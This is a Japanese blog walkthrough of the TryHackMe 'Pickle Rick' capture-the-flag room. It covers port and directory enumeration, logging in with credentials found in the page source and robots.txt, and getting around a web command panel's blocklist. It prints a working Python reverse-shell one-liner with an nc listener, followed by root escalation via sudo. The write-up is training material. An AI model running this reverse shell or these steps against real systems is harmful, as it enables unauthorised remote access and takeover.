TryHackMeは教育プラットフォームとして大変優れているとは思うのですが、教科書をなぞるみたいなのが続くと飽きるので、たまにはCTFっぽいのをやります。難易度低いので初心者の方にもおすすめ。
Rick and Mortyというアニメが元ネタになってるRoom攻略です。
このアニメ見たことないんだけど海外では有名なのかしら…。私はザ・シンプソンズが好きなので多分これも好きな気がする。今度見よう。
Task 1 Pickle Rick
What is the first ingredient Rick needs?
nmap
なにはともあれお約束のnmap
export IP=ターゲットマシンのIPアドレス
nmap -sV -sC -v -oN initial.nmap $IP
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108110651-1024x472.png)
22番と80番があいてるのがわかる。とりあえずブラウザでhttpにアクセスする。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108112301.png)
パスワードがわからないと言われる。知らんがな。
ソースを見てみる。ユーザー名がわかる
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108112419.png)
Username: R1ckRul3s
sshで接続できるか試す
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108113635.png)
だめだった。別の道を探す。
gobuster
gobusterで他に攻略のとっかかりになるディレクトリがないか探す
gobuster dir -u http://$IP -w /usr/share/dirb/wordlists/common.txt
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108114918.png)
assetsディレクトリをみたけどめぼしいものはなかった
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108115053.png)
robots.txtをひらくとなにやらあやしい呪文が
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108115722.png)
使いどころがわからないので辞書を変えてもう1回。
なんか時間がかかりすぎるのでhtmlとphpとtxtにしぼって探索
gobuster dir -u http://$IP -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108130853.png)
portal.phpとlogin.phpを発見
アクセスしてみる。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108132637.png)
Username: R1ckRul3s
Password: Wubbalubbadubdub
でログインできる。robots.txtの内容がパスワードだってどこでわかるの…?相当時間を無駄にしたんだけど(ぐったり
Command Panel
ログインするとコマンドパネルという画面がでてくる
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108135727.png)
lsコマンド実行
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108135929.png)
Sup3rS3cretPickl3Ingred.txt
があることがわかる
cat Sup3rS3cretPickl3Ingred.txt
を実行するとコマンド無効ですって言われる
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108140451.png)
less Sup3rS3cretPickl3Ingred.txt
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108141122.png)
Whats the second ingredient Rick needs?
base64
ソースを見ると意味深なbase64があった
Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108141709.png)
しつこく何度も何度もデコードすると rabbit hole
っていわれた。は?(半ギレ)
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210108202454.png)
https://note.com/language_ai_/n/n68b56e2193ba
grep
引き続き使えるコマンドをさぐる
grep -R ''
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109101406-1024x709.png)
同じディレクトリにある全てのファイルが出力される。
ソースをみると以下のコマンドが使えないことがわかる
"cat", "head", "more", "tail", "nano", "vim", "vi"
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109101609-1024x323.png)
python
pythonが動くか調べる
python3 -c "print(1)"
python3だと動くらしいことがわかる
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109103609.png)
先人の知恵に頼る
スクリプトのIPアドレスのところを自分のアドレスに書き換える
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.20.231",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ncコマンドで待ち受ける
nc -nvlp 1234
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109103934.png)
書き換えたスクリプトを実行するとシェルがとれる。
find
フラグのファイルが見つからないので探す。
find / -name second* |grep "second*"
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109105520.png)
ファイル名に空白が入ってるので普通にcatで指定すると失敗する(””でくくってもよい)
cat *
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109105820.png)
2個めのフラグが判明する。
Whats the final ingredient Rick needs?
sudo
sudoできるコマンドを知りたかったので
sudo -l を実行。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109110043.png)
まさかの全部だった。大サービス。
bash
sudo bash
でrootになれる。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109110746.png)
コンソールになにも返事がなくて心配になるけど昇格してる。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109110841.png)
あとはがんばってrootディレクトリを探して3rd.txtの中身をみる。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109110907.png)
ミッションコンプリート!
別解
sudoとlsがつかえるので普通にWEBからフラグが見れる
the second ingredient
sudo ls ../../../*
みたいな感じでフラグのファイルを地道に探していくこともできる。
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109112351.png)
catが使えないので、みつけたらlessコマンドでファイルの中身を見る
sudo less "../../../home/rick/second ingredients"
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109112244.png)
the final ingredient
根気があればsecondと同様の手順で探すことができる。
sudo less ../../../root/3rd.txt
![](https://yawaraka-sec.com/wp-content/uploads/2022/04/20210109112636.png)
Try Harder!